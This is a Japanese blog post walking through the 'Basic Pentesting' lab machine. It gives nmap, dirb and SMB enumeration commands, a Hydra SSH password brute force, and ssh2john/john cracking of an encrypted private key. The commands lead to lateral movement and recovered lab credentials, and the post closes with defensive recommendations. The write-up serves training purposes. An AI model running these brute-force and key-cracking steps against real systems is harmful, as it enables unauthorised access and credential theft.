0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

Basic Pentesting

Last updated at Posted at 2025-10-18

Nmapスキャン結果

実行コマンド:

nmap -sC -sV -oA nmap 10.201.21.162

開いているポートとサービス

ポート 状態 サービス バージョン / 備考
22/tcp open SSH OpenSSH 8.2p1 (Ubuntu 4ubuntu0.13)
80/tcp open HTTP Apache httpd 2.4.41 (Ubuntu)
139/tcp open SMB (NetBIOS-SSN) Samba smbd 4.6.2
445/tcp open SMB (NetBIOS-SSN) Samba smbd 4.6.2
8009/tcp open AJP13 Apache JServ Protocol v1.3
8080/tcp open HTTP Apache Tomcat 9.0.7

サービス情報

  • OS推定:Linux (CPE: cpe:/o:linux:linux_kernel)

  • HTTPタイトル

    • Port 80 → “Site doesn’t have a title (text/html)”
    • Port 8080 → “Apache Tomcat/9.0.7”
  • SMB設定

    • メッセージ署名:有効だが必須ではない
    • NetBIOS名:BASIC2

考察メモ

  • Webサービス(Port 80, 8080)はApacheとTomcatが両方稼働している。
  • SMB (139, 445) が開いているため、匿名共有やユーザー列挙を試す価値あり。
  • AJP (8009) はTomcat連携用ポートで、脆弱な設定がある場合リモートコード実行の可能性あり。

Dirb スキャン結果(整理)

実行コマンド

dirb http://10.201.21.162 /usr/share/dirb/wordlists/small.txt 

スキャン概要

  • ワードリスト/usr/share/dirb/wordlists/small.txt

出力の要点

  • development/ ディレクトリを発見。

    ==> DIRECTORY: http://10.201.21.162/development/
    ---- Entering directory: http://10.201.21.162/development/ ----
    (!) WARNING: Directory IS LISTABLE. No need to scan it.
    
  • その他の有効なディレクトリ/ファイルは dirb のワードリスト内では発見なし(FOUND: 0)。

  • 全体としてダウンロードした候補は 959、実際に見つかった項目は 0(ただし上記 development/ は listable として検出)。


解釈

  • development/ディレクトリ一覧表示(index listing)可能 になっている点が最も重要。
    → 列挙可能なら中身を直接確認すれば機密ファイルや設定ファイル、メモ的なファイル(パスワード・設定情報など)が見つかる可能性がある。
  • それ以外の一般的なディレクトリ(admin, uploads, login.php 等)は今回のワードリストでは検出されなかった/存在しなかった可能性が高い。
  • 既に試した通り、ポート80・8080 両方とも手動で確認したが有用なコンテンツは見つからなかった(ただし development/ の中身は未確認)。

development/ ディレクトリ確認結果

発見物

http://10.201.21.162/development/ を確認したところ、以下のファイルが存在しました。

  • dev.txt
  • j.txt
    image.png

実行したコマンド

# SMB の共有を確認(匿名アクセス)
crackmapexec smb 10.201.21.162 -u '' -p ''
SMB         10.201.21.162   445    BASIC2           [*] Windows 6.1 Build 0 (name:BASIC2) (domain:ec2.internal) (signing:False) (SMBv1:False)
SMB         10.201.21.162   445    BASIC2           [+] ec2.internal\: 
SMB         10.201.21.162   445    BASIC2           [+] Enumerated shares
SMB         10.201.21.162   445    BASIC2           Share           Permissions     Remark                                                                
SMB         10.201.21.162   445    BASIC2           -----           -----------     ------                                                                
SMB         10.201.21.162   445    BASIC2           Anonymous       READ                                                                                  
SMB         10.201.21.162   445    BASIC2           IPC$                            IPC Service (Samba Server 4.15.13-Ubuntu)  

smbclient -N //10.201.21.162/Anonymous

発見したもの

  • SMB の Anonymous 共有が 読み取り可能(Anonymous: READ) であり、staff.txt を取得できた。

取得した staff.txt(抜粋)

Announcement to staff:

PLEASE do not upload non-work-related items to this share. I know it's all in fun, but
this is how mistakes happen. (This means you too, Jan!)

-Kay

解釈

  • staff.txt は運用上の注意書きで、“Jan”(人名/ユーザ名候補)や “Kay” といった名前が本文に出ている。
    → これらはユーザ名やヒントになる可能性がある

SSH ブルートフォース(Hydra)

実行コマンド

hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://10.201.21.162

成功ログ(抜粋)

[22][ssh] host: 10.201.21.162   login: jan   password: armando

解説

  • jan をターゲットとしたパスワードリスト攻撃により、armando が見つかった。

jan でログインしてのローカル列挙

SSH 接続

ssh jan@10.201.21.162

基本的な列挙(抜粋)

jan@ip-10-201-21-162:~$ pwd
/home/jan

jan@ip-10-201-21-162:/home$ ls -l
total 12
drwxr-xr-x 2 root   root   4096 Apr 23  2018 jan
drwxr-xr-x 5 kay    kay    4096 Apr 23  2018 kay
drwxr-xr-x 3 ubuntu ubuntu 4096 Oct 17 19:52 ubuntu

# kay のホームに移動
jan@ip-10-201-21-162:/home/kay$ ls -l
total 4
-rw------- 1 kay kay 57 Apr 23  2018 pass.bak

解説

  • /home/kay ディレクトリは drwxr-xr-x のため jan から参照(cd など)ができるが、pass.bak のようにファイル自体は rw-------(所有者のみ)で読み取り不可になっている。
  • ただし同ディレクトリ内に .ssh フォルダがあり、中に秘密鍵ファイル(id_rsa)が存在するのを発見した。

暗号化された Private Key の発見とクラッキング準備

鍵の確認(抜粋)

jan@...:/home/kay/.ssh$ ls -la
-rw-r--r-- 1 kay kay 3326 Apr 19  2018 id_rsa

id_rsa暗号化(Proc-Type: 4, ENCRYPTED) されていることを確認。

鍵を cracking 用に変換

ssh2john id_rsa > john.txt

john によるパスフレーズクラッキング

sudo john john.txt --wordlist=/usr/share/wordlists/rockyou.txt

john の成功出力(抜粋)

beeswax          (id_rsa)

解説

  • ssh2john で private key を John フォーマットに変換し、john で wordlist ベースのクラッキングを行った。
  • 成功して鍵のパスフレーズが beeswax と判明。

鍵を使った kay への横展開(SSH)

実行

接続:

ssh kay@10.201.21.162 -i /home/kay/.ssh/id_rsa
# 鍵のパスフレーズを聞かれるので "beeswax" を入力

成功後のプロンプト

Welcome to Ubuntu 20.04.6 LTS ...
kay@ip-10-201-21-162:~$ cat pass.bak
heresareallystrongpasswordthatfollowsthepasswordpolicy$$

解説

  • 鍵のパスフレーズを解読できたことで、jankay へ認証情報を使った横展開が完了。

取得情報のまとめ(証跡・重要ポイント)

  • 初期侵入:Hydra により jan:armando を発見 → SSH ログイン成功。
  • ローカル列挙で kay.ssh/id_rsa(暗号化)を発見。
  • ssh2john + john(rockyou)でパスフレーズ beeswax を発見。
  • 鍵で kay に SSH 接続成功。pass.bakheresareallystrongpasswordthatfollowsthepasswordpolicy$$)を取得。

防御(Blue Team)向け提言

  • 公開ファイルの最小化:ホームディレクトリに暗号化した秘密鍵を置かない。最低限のアクセス権限・保管ポリシーを適用。
  • 鍵の保護:秘密鍵は適切に保護し、鍵ファイル自体へのアクセスを最小化する(不必要に世界読取可・グループ可にしない)。
  • パスワードポリシーと多要素認証:辞書ワードリストで突破され得るパスワードを避け、可能なら多要素認証を導入。
  • ログとアラート:短時間で多数の失敗ログインが発生した場合のアラート設定(Hydra 的な攻撃を早期検出)。
  • 共有設定の見直し:SMB などで匿名読み取りを許可しない。公開ファイルは可能な限り除外。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?